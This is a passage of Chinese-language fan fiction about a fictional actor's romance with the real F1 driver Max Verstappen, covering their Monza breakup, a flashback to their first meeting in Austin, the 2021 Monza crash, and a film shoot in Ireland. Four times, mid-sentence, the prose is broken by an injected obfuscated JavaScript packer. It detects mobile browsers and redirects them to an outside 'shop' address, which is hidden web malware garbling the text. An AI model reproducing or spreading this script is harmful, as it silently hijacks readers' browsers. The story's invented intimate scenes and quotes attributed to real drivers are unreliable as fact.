“随口一说？”林利的声音抬高，他在这一周里所有的疲惫、奔波和为了调档期而低声下气求人的委屈让怒火在胸腔里燃烧，“你知道我为了来这里做了什么吗？我这一周——” “我知道你很累！”麦克斯挥了下手，“但你为什么要把事情搞得这么复杂？一直吊着我，一直说‘会尽量’，好像来见我是什么巨大的牺牲一样。” “因为我在工作！我的档期不是我一个人说了算的！”林利拧紧眉头，向前走了一步。 “那我呢？我以为你至少有一次能把我放在第一位，就一次！”麦克斯绷紧下巴，扯出一个讥笑，“还是说，其实是你害怕了？”。 林利几乎以为自己听错了：“什么？” “怕被拍到、怕被发现，怕影响你那神圣的事业。”麦克斯紧紧盯着他，“这才是你一直推三阻四的真正原因，对吧？你根本不是来不了。” “你不懂。”林利死死咬住牙，声音颤抖着挤出来。 “我不懂？”麦克斯嘴角往下一拉，“你们当演员的，天天对着镜头装来装去，真真假假的，我有什么不懂的？” 林利感觉像被打了一拳，整个人往后退了半步。 “装来装去？”他轻轻重复了一遍，耳中嗡鸣。 “我不是那个意思……”麦克斯意识到说错了，下意识伸手去拉他。 林利猛地挥开他的手：“你就是那个意思。”愤怒让他也变得刻薄，“至少我的工作不是每个周末都在作死！” 麦克斯的手停在半空：“你说什么？” “你开车的方式。”林利一步一步指着他，“你那种莽撞的、不计后果的劲头，就像你根本不在乎自己会出什么事。你这种自大狂，谁受得了？” “那是我的工作！”麦克斯也吼了出来，逼近了一大步，两人几乎鼻尖对着鼻尖，“那是我每一秒都在拼命的全部！你觉得赛车是什么？是周末开个快车、领个奖杯回家的游戏吗？” 他喘了口气，声音更大了：“我想让你看看最真实的我，这很过分吗？” “所以这就是你的逻辑？”林利推了他一把，大步走出浴室，“因为你的工作危险，我的事业就该理所当然地给你让路？我就该像个家属一样守在观众席？” “我没让你放弃……f**k！”麦克斯烦躁地抓了一把头发，在原地转了一圈，猛地举起双手，“对！我的工作是更危险，而你呢？你最大的风险是什么？演砸了被影评人写两句酸话？” 房间里突然安静下来。 林利盯着面前的人，眼眶开始发热。 “你知道你的问题是什么吗”他用力眨了眨眼睛，憋回泪水，“你的问题是，你从小就被告诉自己是特别的。” “你是天才，你注定要赢，全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250136|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界都围着你转。你爸爸这么教你，红牛这么告诉你，所有人都顺着你——” “够了！”麦克斯抬手按住太阳穴。 “所以你觉得我也该这样！”林利往前走，手指着他的鼻子，“你被宠坏了，麦克斯！你不知道什么叫让步，你只觉得所有人都要配合你的比赛，配合你那该死的时间表！” “我一直等你！”麦克斯双手猛地撑在林利身侧，把他圈住，却又不肯靠近，“我每天盯着手机等你的消息，每天晚上都在想你会不会出现，这不是让步？” “那不叫让步！”林利一把扯掉他搭在自己肩上的手，“那叫你在等我围着你转！” “我**只是想见你！” “当这需要着我要放弃职业追求的时候，那就不是想见我，那是想吞掉我！” “你从来没想过真正进入我的生活，对吧？”麦克斯突然打断他，拉开了距离，“你想要的只是想象中的我，那个不比赛、永远随叫随到的我。” “你每次都是这样，假装支持、假装理解，其实你根本不在乎。今天你来这里，也就是为了以后能找个理由指责我。” “我没有指责你！”林利重重喘气。 “你在！你从进门开始就在跟我算账！” “那是因为你先说我拍摄太多！” “我只是实话实说！”麦克斯一把攥住林利的手腕，“你知道吗？我没有一次不在盼望，望着你哪天能真正在眼里看到我，但你从来没有。” 他停顿了一下，胸口剧烈起伏： “你根本就不在乎这段关系！” 林利整个人往后退了一步，背撞在墙上，感觉浑身的力气都被抽干了。 “我不在乎？”他硬撑着抬眼。 “对！”麦克斯的脸憋得通红，“你从来没有真正想过我们的未来，不是吗？你只是在玩一场游戏，假装我们可以走下去，其实你心里早就觉得我们要完蛋——” “那你如愿了。”林利抹了一把眼角，心中巨大的荒芜让他平静下来。 麦克斯整个人定在原地，手慢慢松开：“什么？” “我们结束了。”林利站直身体，闭了闭眼，“分手吧。” “别随便说这个词！”麦克斯试图去抓他的衣角。 “我是认真的。”林利扯开衣服，转身拎起那个还没打开过的行李箱。 “好啊。”麦克斯的声音也冷下来，站在原地一动不动，“结束就结束。” “太好了，”林利没有回头，“结束就结束。” 他拖着箱子走向门口，狠狠甩上门。 …… 林利靠着电梯，盯着金属壁上那个狼狈的倒影。 他大口呼吸着，拼命告诉自己：不准哭，这只是分手，他不过是太生气了。 他怎么会以为，像他们这样完全属于两个世界、有着完全不同生活逻辑的人，真的会有以后？ “去你的，维斯塔潘。”他对着空无一人的电梯低声骂了一句，眼泪还是大颗大颗地砸在了地上。 走出酒店大门，蒙扎的夜晚是如此安静。 他拖着箱子，漫无目的地走向路灯照不到的黑夜里。 33.番外：初遇 林利视角.ver 【建议大家点开Sabrina Carpenter 《Nonsense》这首歌，配合食用本章番外，文内有插入歌词】 2018年，奥斯汀。 林利斜坐在角落的高脚凳上，盯着桌上那张餐巾纸发呆。 12号弯，他画了几遍都不对。 下午他一个人跑到这里看比赛，一半是为了喘口气，毕竟片场里每天都是油污、引擎，还有和贝尔对戏的压力。另一半……他真的想搞清楚，为什么有人对赛车这么热爱？ 第一次参演大制作，他总感觉自己表现得还不够优秀。 等真正坐在看台上，林利才发现这个运动和他想象的完全不一样。 那个超车就发生在他眼皮子底下的12号弯。刹车踩得太晚，林利当时心都提到了嗓子眼，以为蓝色的车要撞上去了，可他竟然切进了内线，硬生生逼着另一辆让开，然后嚣张地扬长而去。 看台上有人在欢呼，有人在骂，而他心里被震得麻麻的，说不清什么感觉。 现在他坐在酒吧里，试图在纸巾上复刻那个瞬间，可总也画不对。 隔壁派对的音乐震得桌子都在抖，门被推开，一阵深夜的凉风卷了进来。 林利下意识地抬头。 那个人的T恤湿透了，紧紧贴在胸口。头发乱糟糟的，脸颊泛红。他在林利旁边坐下，椅子“吱”地叫了一声。他要了一瓶酒，一口口灌着，眉头拧着一股不耐烦。 林利的视线卡住了。 这双眼睛……这双熟悉的、锋利的冰蓝色眼睛，还有宽直的鼻梁，下巴上刚冒头的胡茬。 他突然侧过头。 林利慌忙垂下眼，手指紧了紧炭笔，假装在纸巾上忙碌。 “刹车点画晚了，” 他的声音是这样的？哑哑的有点奇怪。 “在这个距离踩刹车，车会直接冲出赛道。” 他凑了过来，看向林利的画。 “Lookin’ at you got me thinkin’ nonsense” （看着你，让我脑子里全是废话） 林利的舌头像打了结，脑子里一片空白。 “你在第23圈超博塔斯的时候可不是这么想的，”他听见自己在说话，声音居然还算稳，“比赛我看了，很精彩。” “麦克斯·维斯塔潘。”那个人说，身体又往他这边侧了点。 林利当然知道他是谁，下午这张脸还在领奖台上闪闪发光呢。 “林利。”他故作淡定地把炭笔随手扔进酒杯。 维斯塔潘开始和林利讨论12号弯的超车。他说话速度很快，手指比划着在空中画出弧线。说到进弯那一刻，他眼睛亮了一下，和刚才的烦躁表情很不一样。 林利在胡乱点头。他听见自己在回话，但其实根本没过脑子。他只顾着盯维斯塔潘说话时上挑的眉毛，盯着他眼角细小的笑纹，还有他嘴唇上那颗小痣。 说起来，林利想，自己嘴巴下面的地方也有一个。 他的心跳忽然重重跳了一下。 “你是专业的？”维斯塔潘问，视线从那张破了洞的餐巾纸上移开，直直地看了过来。 “Baby, my tongue goes numb, sounds like bleh-blah-bleh” （我的舌头麻木了，开口全是胡言乱语） 专业的？演一个机械师算吗？ 如果他回答“我是演员”，接下来的对话肯定就会滑向那些“你演过什么”的无聊客套话。可在这样一个夜晚，在这样黏稠的空气中，他突如其来地想做点不像自己的事，想—— “修理厂打杂的，”林利开口，“修修配件，换换轮胎。” 修理厂？林利，你可真敢编。 “那你手艺应该不错。”维斯塔潘笑了起来，故意拉长了语调。 林利应该澄清的，可他只感觉胃里好像翻了个跟头。算了，就让这个谎话继续下去吧，反正离开这里他们也不会再见面。 他索性装到底。 “刹车片温度应该很高吧？”他努力回忆那些为了角色学习的术语，“你踩得那么晚，估计飙到七八百度……” “是吗？”维斯塔潘嘴角上扬，又向他靠近了一点，“继续说。” “所以进站的时候要检查磨损吧？”他觉得自己说得还挺像样，资料没白费功夫，“我们厂里的车，要是刹车过热，磨损得会特别快，有时候跑一场就要换。” “跑一场？”维斯塔潘的手指在吧台上轻轻敲了一下，眼神里带着一种林利看不太懂的意味，他有点发毛。 哦哦，好像用错词了。 林利清清嗓子掩饰心虚：“我是说，我换过几次，曾经接触过。” “那你一定很忙。”维斯塔潘一直盯着他，没有移开视线的意思。 林利转移目光，突然瞄到对方的手，指节硬朗，手背上的青色血管随着动作微微突起。 “And I can’t find my chill, I must have lost it” （我没法淡定了，我的冷静肯定已经离家出走） 隔壁派对的音乐又大了一个音量，震得人耳膜疼。维斯塔潘嘴唇还在动，但林利已经听不清字眼了。 他鬼使神差地凑过去：“看看你的刹车灯就知道了，”他发现自己离得太近了，汗水、酒精、皮革味一股脑冲了过来。 “你踩刹车，根本不是为了减速。你是为了逼他让路。维斯塔潘，你压根就没想过给自己留退路，对不对？” 维斯塔潘的动作停住了。他慢慢转过头，两人的鼻尖几乎撞在一起。林利能看清他睫毛上还没干透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254511|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的汗珠，他的瞳孔在光线下缩紧，不加掩饰地盯着自己。 林利像是被蛊惑了，大着胆子伸出手，贴上了麦克斯的后颈。 皮肤比想象中还要烫，湿漉漉的，能感觉到下面血液的跳动。 “Here’s a lil’ song I wrote, It’s about you and me” （这是我写的一首小曲，是关于我们的） 林利像被烫到一样收回手，抓起衬衫站了起来：“走吗？” 话一出口，他自己都愣住了。疯了吧，邀请一个刚刚才认识的陌生人？一个F1车手？ 奥斯汀的夜风吹在林利脸上，但完全不管用，他的脸还是很烫。 他走得飞快，步子乱得差点撞到路灯杆。 一只手突然从后面扣住了他的手腕，拇指正好按在他的脉搏上。 “你走这么快干什么？”维斯塔潘的呼吸全喷在林利耳边。他没松手，反而贴得更近了，林利能感觉到他胸口的温度隔着衣服传过来。 “那要看是谁在后面追我。”林利指尖不受控制地在他掌心轻轻勾了一下。 “I’ll be honest, lookin’ at you got me thinkin’ nonsense” （说实话，光是看着你，我就已经彻底乱了） 林利盯着跳动的楼层数字，22、23、24，努力让自己的呼吸平稳下来。他看向倒影里维斯塔潘大开的领口和醉红的脸颊。糟糕，他怎么也在盯着自己看？ 房间门打开。 冷气扑面而来，林利直奔冰箱，掏出几瓶啤酒。 “浴室在右边，”他听见自己说，霓虹灯透过窗户映进来，光线乱糟糟的，“或者……你想先来点更热的？” 林利还没反应过来，就被维斯塔潘逼得倒向沙发。膝盖挤进他双腿之间，双手撑在他头两侧。整个人压了下来，强烈的侵略感让他不自觉抿紧唇。 “你刚才说要给我降温。”维斯塔潘俯身盯着他，“这就是你的办法？喝啤酒？” 他本来是怎么想的？快快，说点什么。 “玩个游戏怎么样，YES or NO？” 他们一个接一个抛出问题，逐渐的，距离在回答里一点点缩短。 “最后一个问题，”维斯塔潘的声音含糊不清，睫毛扫过他的眼睑，“你知道我不会踩刹车的，对吧？” 他当然知道，从下午看到那个蓝色虚影时，他就无比清楚。 “YES。” 林利不想再等了，他拽住眼前人的领口主动吻了上去。 “I caught the L-O-V-E, How could you do this to me” （我好像坠入爱河了，你怎么能这么对我？） 34.蒙扎的碎石 9月12日，蒙扎大奖赛。 麦克斯坐在狭窄的座舱里，牢牢盯着前方的起步灯架，视线在灯与灯之间来回扫。 5分，他领先刘易斯5分，但这5分算不上什么，一场比赛就能全部抹平。 媒体的质疑、银石的撞击、刘易斯那台该死的梅赛德斯，这些东西在他耳边轰鸣，和引擎声混在一起几乎分不清。他用力扣紧方向盘，手套的纹路都快压在皮肤里了。 “你每个周末都在作死。” 林利的声音毫无预兆地在脑子里响起。麦克斯用力眨了下眼，强行把那个声音压了下去。 红灯熄灭，现在不是想这个的时候。 他松开刹车，赛车猛地冲了出去，强烈的推力狠狠压了过来。他迅速修正方向，试图堵住前方的空隙，但左侧一抹木瓜橙色切进来了。里卡多在进入第一个弯前抢到了内线。 “麦克斯，P2，起步不错。” “里卡多更好。”他皱着眉跟进第一个弯，尾流把赛车颠得乱七八糟。 他咬在前车后面，寻找着任何可能的机会。DRS区域，他拉近了一点，尾速上到340，迈凯伦也来到这个速度。直道上追不上，只能进弯去试，但里卡多今天走线很稳，给不了他多少空间。 4号减速弯。麦克斯和里卡多并排进入，汉密尔顿也从斜后方逼了上来，三辆车几乎同时挤进弯心。麦克斯咬紧牙稳住走线，不给对方任何超车的机会。 汉密尔顿在最后一刻被迫松油退让，轮胎颠过路肩，掉到了诺里斯后面。 “汉密尔顿冲大了。”GP提醒。 麦克斯没回应，汗水顺着额头流进眼角。他只顾着继续追逐前方的尾翼，全神贯注于RB16B在他手里的每一个细微反应。他和里卡多之间的差距稳定地像拔河，每次他在弯角里追回一点，直道上就会无力地再丢回来。 第18圈，蒙扎的烈日把赛道烤得发烫。 长时间的近距离跟车终于让轮胎付出了代价。他感觉得出来，尾部隐隐开始打滑，出弯的时候总有种不受控的往外甩的感觉。他不得不稍微侧出车头去寻找干净空气。 第21圈，1号弯。左前轮猛地锁死，白烟冒起，赛车直接横切过缓冲区，焦糊味一下子钻进头盔。 “赛车还好吗？麦克斯。” 他稳住方向盘，无比清楚轮胎已经彻底完了，这样下去很难再追上去。 第23圈，里卡多进站。 “Box,box.” 他冲进维修区，刹停在白线上。车身被顶起来，轮胎枪嗡嗡作响，却迟迟没有落下的动静。 F**k! F**k! F**k! 换胎用了11秒！这简直是谋杀！ 麦克斯冲回赛道时，胸腔里的火已经直冲脑门。新硬胎温度不够，第一个弯极度挣扎，他几乎要把方向盘打到底，才强行对抗住要命的转向不足。 “P5，汉密尔顿在你前面。” 他没吭声，一圈一圈推进，抓地力一点点回来，他必须在刘易斯进站前抢回足够的时间。 第26圈，汉密尔顿也进站了。 他压着油门全力推进，11号弯几乎贴着路肩过去。就差这几秒，他看到维修区出口，黑色的赛车正在加速出来。 主直道，两辆赛车并排冲向一号弯。 刹车点到了。麦克斯重踩，安全带猛地勒住肩膀，视野被速度收窄成一条缝。汉密尔顿在内线，黑色车身正朝他这边侵入，一寸一寸挤压着他的空间。 就像银石，还有刚才的4号弯。 轮胎被迫压上白线外的草皮，车身猛地一晃，他极力反打方向才稳住。紧接着是左转的第二个弯，他仍然在外侧，但他的速度更快，他可以在弯心抢到位置。 汉密尔顿还在往外挤。 “你压根就没想过给自己留退路，对不对？” 林利的声音在这个瞬间和引擎声重叠在一起。 面罩的热气蒸在脸上，麦克斯憋着一股劲，狠狠向左打方向盘。这是他的位置！他才是对的！ “砰！” 轮胎撞上去的那一刻，整辆车腾空弹了起来。冲击力从底座直冲上来，巨大的力道狠狠压在肩膀上，震得他大脑嗡鸣。赛车完全脱离了控制，轮胎还在侧着滑。刨起的碎石和尘土充斥着他的视野，什么都看不清。 他喘着粗气按下TR，看看吧，这就是不给空间的下场。 麦克斯艰难地从座舱里跳出来。 赛车正骑在汉密尔顿的车上，后轮几乎悬在对方头顶。 他落地站稳，脚下的碎石咯吱咯吱响。看台响起一片嘘声，他面无表情地侧过头，没什么好理会的。 采访区的话筒长枪短炮一样递到他嘴边。 “麦克斯，能说说发生了什么吗？” “我们在第一个弯就很接近，”麦克斯没有半点犹豫，“他一直在挤我，我不得不开上草皮来避免接触。” “然后在第二个弯，他继续把我往外推，我已经没有空间了。”他抬手在空中划了条弧线，划完自己也觉得有点烦，把手放了下去。 “你觉得这是可以避免的吗？” “这要两个人都想避免才行，”他扯了一把碍事的口罩，不耐烦地耸肩，“如果其中一个人不想配合，你又能怎么办？我只想好好比赛，很不幸我们发生了碰撞。” “你没有去看汉密尔顿？” “我往左看了。”麦克斯打断了记者，直直盯着对方的眼睛，“他在尝试倒车脱困，所以我觉得他没事。” 麦克斯推门走进赛事中心时，刘易斯已经坐在了长桌的另一头。两人隔着五六个座位的距离，谁也没看谁。 大屏幕上正循环播放着事故的各个视角。 “在这个位置，麦克斯。”赛会干事按下暂停键，指着屏幕上两车并排进入弯心的画面，“你觉得你留够空间了吗？” “那是我的弯角，我的车头已经在那里了。”麦克斯绷紧下颌，把字说得很清楚，“根据规则，他必须给我留出至少一辆车的宽度。” “但你当时已经踩上了路肩，你可以选择切过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263728|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避让。” “那样我会彻底丢掉位置。”他毫不退让，手在桌面上不自觉握成拳，“我是在比赛，他明明看到我就在旁边，却直接把门关死了。” 裁决结果很快被推到了面前：麦克斯被判全责，下一场俄罗斯大奖赛退后三位发车。 麦克斯盯着那行字，胸口不甘地起伏。 他一言不发地抓起笔，草草签下名字后就起身走了出去。没去看刘易斯，他连多一秒都不想留在这个房间里。 …… 回到酒店，房间已经被彻底清理过，看不出一点昨夜的痕迹。 电视里还在播放蒙扎赛后的报道。 “今天很多事情都错了。”画面里响起了他的采访，“策略、换胎，很多需要再分析的。” 如果进站正常，他会在汉密尔顿前面出来，他们根本不会那个弯道相遇；如果他起步再好点，他也会在里卡多前面，那个该死的进站策略也不会发生。 “这次撞击让争冠形势更加扑朔迷离。”解说的声音继续，“两位车手都需要冷静……压力显然在影响着他们的判断”。 压力。 麦克斯仰头靠在沙发上，闭起眼睛。 都是些没有价值的废话。 这几个月，每个人都在等着他犯错，等着他证明他们说得对：他太激进，他会搞砸的。 他憋着一口气，克制着不让自己爆发，他非得拿下最后的冠军堵上那些嘴。 可是昨晚……这种压抑也让他失了分寸吗？ 他说了很多不该说的话。他明明不是那个意思，但不知怎么回事，嘴巴不受控制地将那些尖锐的话全都砸在林利身上。 他都说了些什么？你根本就不在乎这段关系？装来装去？ 麦克斯猛地攥紧拳头，懊恼地盯着天花板，记忆自动往回放。 林利说起最近拍摄有多累，他不耐烦地打断了他。林利争论职业追求，他好像又回以刻薄的嘲讽。 他把所有的愤怒、所有对这个该死赛季的火气，一股脑倒给林利。 手机在桌上震了一下又一下。 Jos第N个未接来电，团队群里几十条未读消息。 他往下滑到和林利的聊天框，最后一条消息停留在昨天的：【我在机场】。 往上翻，是他向林利确认这周是否能来。 再往上，是林利发过来的自拍，剧本盖住半张脸。 麦克斯对着这张照片看了很久。林利说了“结束就结束”，所以真的就这样了，不会再关心他有没有受伤，不会再有消息。 他点开输入框，光标在空白处跳动。他不想没头没脑地说些蠢话，算了。 最终还是摁掉屏幕把手机扔回桌上。 电视里的碰撞还在继续。两辆赛车狰狞地叠在一起，碎石飞溅，没完没了。 刚才的撞击，他不后悔。那是比赛，他绝不可能退让。 但昨晚，麦克斯把脸埋进掌心。 他想起昨晚林利受伤的神情，泛红的双眼。 昨晚他搞砸了。 35.石墙迷宫 9月末的伦敦，雨后的湿气还没散。 林利蹲在卧室地板上，把行李一股脑地塞进箱子。厚夹克、毛线帽子、防水靴……伊尼什莫尔岛上的温度可不比这里，他能穿多厚就带多厚。 他顺手拿起床边的手机，本来只是想看看时间。 两周过去，社媒上铺天盖地的还是对麦克斯的声讨，舆论风暴卷得越来越大。 一篇文章像模像样地分析《维斯塔潘的真实一面》：……拒绝道歉，并称批评者为“伪君子”，这揭示了一个从根本上缺乏同理心的车手……他不仅撞毁了对手的赛车，也损害了职业体育的底线。 底下几百条评论，用词更加狠辣： “他甚至没去看汉密尔顿，这说明了一切。” “傲慢、鲁莽、缺乏体育精神，和他爸爸一样。” “冷血，难怪围场里没人真心跟他做朋友。” 有一条最高赞的写道：“人们总是为他找借口，但你终究得接受这就是他本来的样子：一个只在乎胜利的自私车手。” 这些字句在林利脑子里放大旋转，让他心口发闷。 麦克斯……麦克斯不是这样的。 关于麦克斯的记忆一片片闪过。他想起有一次他们去卡丁车场，有个小孩摔了，麦克斯二话不说停下来跑过去扶人。想起摩纳哥那只受伤的流浪猫，麦克斯用纸箱把它装起来送到诊所。还有银石之后躺在病床上的麦克斯，一脸疲倦…… 手机屏幕突然暗了下去。窗外又开始下雨，雨点打在玻璃上细碎又急促。 他也想和评论里的人辩论，可他能反驳什么？那晚说出“结束就结束”、指责麦克斯“所有人都顺着你”的正是他自己。 他将手机扔进背包里，埋下头继续收拾箱子。 …… 飞到都柏林，转小飞机到戈尔韦，再坐渡轮。 渡轮在大西洋上颠簸，林利站在甲板上，海风刮得他头发全倒向一边。 天与海连成一片混沌的灰，分界线模糊得让人丧失方向感。 林利随手拍了一张海景发到动态上，没有配文。照片转了半天才勉强上传成功。 汤姆很快评论：“有够阴郁的。” 他把手机塞回口袋，不想回复。 岛的轮廓在雾气中显现，灰扑扑的。没有高楼、没有港口，低矮的房子和无数石墙将整个岛切成不规则的碎块。 渡轮靠岸的时候，浪打得船身猛地一晃。林利拖着箱子跟剧组的人一起下船，接驳车已经在码头等着。 车开过石头路，两边的石墙有的低到膝盖，有的高过头顶，蜿蜒着延伸到视线尽头。 科林坐在他前排，转过来说：“像迷宫，对吧？副导演来踩点的时候转了几十分钟才找到餐馆。” 旅馆在岛的西边，推开门一股潮湿的霉味。林利的房间在二楼，窗正对着海边。 他把箱子塞进衣柜底下，在床边坐下来拿出手机，一格信号，什么都刷不出来。他又掏出剧本开始钻研，翻到一半就停了下来，忍不住走到窗边眺望，还是一片灰蒙蒙。 隔壁传来敲墙的声音。 “林！”科林的声音从墙那边传过来，“出来喝一杯？大家都在楼下！” 林利看着窗外，路上的海风吹得他头胀胀的疼。 “不了！”他提高音量喊回去，“我要睡了！” 他转身躺回床上，放空地盯着天花板。外面的妖风呼呼地刮着窗框，听得他心情也跟着变得糟糕。他把手机翻过来压在胸口。 算了，睡觉。 …… 信号就没好过。 前几天林利还会下意识打开手机，等消息转出来。有时候加载半天，勉强出来的还是和麦克斯有关的内容。不想点开，眼睛却先一步捕捉得清清楚楚，弄得他心里一阵别扭。 后来就懒得再试了，手机有时候丢在房间都想不起拿出来。 但问题是，这个岛实在是太无聊了。 收工之后基本没事可做。剧组的人要么去喝酒，要么沿着悬崖边散步。林利两样都试过，都无法让他的脑子安静下来。 喝酒的时候，他无意识地盯着啤酒瓶上的水珠发呆，突然就想起他们刚认识那天，也是在这样一个破破烂烂的酒吧。 散步的时候更糟。 一个人走在石头路上，左边是石墙、右边是荒地，远处是海。尽头伫着一座教堂，站在旁边往下看，百米的悬崖直落进大西洋。 他在崖边站了很久，海浪一层层涌上来撞向黑岩，传上来低沉的闷响。风把荒草死死压在地上，而那些草却执拗地扒着石头缝。 还有他脑子里转个不停的对话片段。 “你想要的只是想象中的我” “你不知道什么叫让步” “我们结束了” 他猛地摇摇头，好像能把这些声音甩出去。 有天拍表白这场戏。 多米尼克要向西沃恩表白。剧本里的场景设定很简单：路边，多米尼克拦住西沃恩，问她愿不愿意和他在一起。西沃恩拒绝，多米尼克说“好吧”，然后走开。 林利读剧本的时候觉得这场戏没什么难度。多米尼克是个简单的人，想问就问，被拒绝了就接受，没那么多复杂情绪。 但站在饰演西沃恩的演员凯瑞对面时，他发现不对劲。 “Action！” 他走到西沃恩对面斜斜地站着，眼神不直视对方。 “你可能永远都不想，”他顿了一下，用轻松的语气说，“我不知道……” 西沃恩看着他，等他继续。 “如果你爱上了像我这样的男孩，”他耸耸肩，晃动着身体，“你会吗？” 西沃恩的表情有点为难：“多米尼克，我不这么认为。” “没事。”他立刻接话，后退半步，“我只是想问问有没有可能。” “Cut！” 麦克唐纳盯着监视器画面，手指迟疑地摩挲下巴：“再来一条。” “等一下。” 林利停下脚步转过身。 麦克唐纳走过来，双手抱胸看着林利：“林，多米尼克这里是真的想要一个答案的。” “他鼓了很大的勇气才开口。”麦克唐纳顿了顿，“刚才那一条感觉他只是走个过场，好像不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269771|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎西沃恩怎么回答。” 林利抿了抿唇：“但他被拒绝了之后也只是说‘好吧’就走了，说明他本来就有心理准备。” “不。”麦克唐纳看着他的眼睛，“有心理准备不代表他不在乎答案。你知道的，后面他……” “他是彻底失望了。”麦克唐纳说。 继续开拍。 被拒绝后，多米尼克抬起头对上西沃恩的眼睛，自嘲一笑：“哦是的，我也在想。即使将来我像你这么大的时候，你还是会拒绝。” 西沃恩微笑着摇头。 他抠了抠鼻子，身体不自然地抽动了一下：“我就是有微弱的希望。”他做了个撑腰的动作，“现在梦想破灭了。” “这条即兴很好！”麦克唐纳大力鼓掌，“我们再来一条保险，还按照你刚才那样。” 收工后，几个人稀稀拉拉地走进酒吧。 科林扔给他一罐黑啤，自己在旁边坐下，把腿架到桌子边缘。凯瑞脱掉外套扔在椅背上，冲吧台又要了几瓶。 布莱丹已经在角落的桌子坐着，面前摆着半杯威士忌。 “说起来，”科林敲敲桌子，“我们的角色都够憋的，帕德里克完全不明白发生了什么。” 他指了指布莱丹，“科尔姆突然就不想跟他说话了，连个理由都不给。他只能每天去敲门，猜到底哪里错了。” “然后科尔姆就削手指了。”布莱丹慢悠悠地说，“用最极端的方式推开对方。” 林利的手猛地收紧，啤酒罐被捏得凹了一小块。 “你还好吗？”凯瑞关切地看着他。 “我出去透透气。” 岛上黑漆漆，只有零星几户屋子里透出来的光。 林利一手摸着石墙，一手插兜在夜色中游荡，风把他的思绪吹得七零八落。 他想起刚才布莱丹说的话，蒙扎那晚麦克斯愣住的表情还历历在目。他曾以为那是及时止损的果断，但现在站在这个无处可逃的荒岛上，他才发现自己有多卑劣。 从奥斯汀、圣特佩罗到蒙扎，这只不过是他一贯的做法：事情一旦变得复杂、变得需要他真正敞开，他就会由于恐惧而抢先逃跑。 海浪又撞上崖壁，传来低沉的闷响。多米尼克是在这样的夜晚投身于海的吗？长期被父亲打骂、被村民嘲讽…… 林利停住脚。他想起自己的父亲阿利斯泰，总会替他做一切决定：去哪个学校、和谁做朋友、选什么专业，能当演员仿佛已经是阿利斯泰做出的最大让步。小时候他试过反抗，父亲就会用那种失望的眼神看着他，比责骂更让人难受。 这种习惯渗透到了他生活的每个角落。他很少主动说“我需要”，因为从小到大没有人在乎他想要什么。他只会等着别人来发现，如果对方没有，那也就算了，反正习惯了。 他其实有在心里演练过，怎么跟麦克斯说“我需要你慢一点”“我也不知道怎么平衡工作和感情，但我想试试”。 但一次都没有说出口，他总想着麦克斯能理解，就这样等到了分手。 也许他们两个都还没准备好，两个各自带着问题的人撞在一起，当然会一地狼藉。 36.番外2：秘密的重量 2021年8月，洛杉矶。 加州的阳光照得卧室暖融融。 林利走下楼时，麦克斯正赤着脚站在落地窗前。他只穿了一条宽松的短裤，手里端着一杯冰橙汁，出神地看着后院的林荫。 林利悄无声息地走过去，从后面环住他的腰，脸颊贴在脊背上。 “早啊。”林利闷声说。 麦克斯自然地往后靠进他怀里，拉住他的手回头：“我们今天干什么？去海边吗？” “我们不是刚从夏威夷回来吗？”林利笑着拨弄麦克斯被阳光照得发亮的金发，“你在摩纳哥住，还没看腻海？” “那不一样。”麦克斯转过身，低头在他唇上啄了一下，“你在这里。” …… 他们开车去了杜姆角。早上十点，人还不算多。 麦克斯显得神采飞扬，在沙滩上走来走去。 林利看着他认真地往兜里塞着贝壳，忍不住问：“你要拿这些干嘛？” 麦克斯理所当然地拍拍口袋：“证明我来过啊。” 林利正要笑话他，余光扫到海里的冲浪手。其中一个正好上岸，抱着板往沙滩走来。棕色卷发、满脸胡茬、标志性的笑容。 “那是里卡多吗？”他碰碰麦克斯的手臂。 麦克斯顺着他视线看过去，整个人明显僵了一下：“Shit，他怎么在这里？” 丹尼尔·里卡多已经发现他们了。他也愣了一下，很快咧嘴笑起来，大步朝这边走过来。 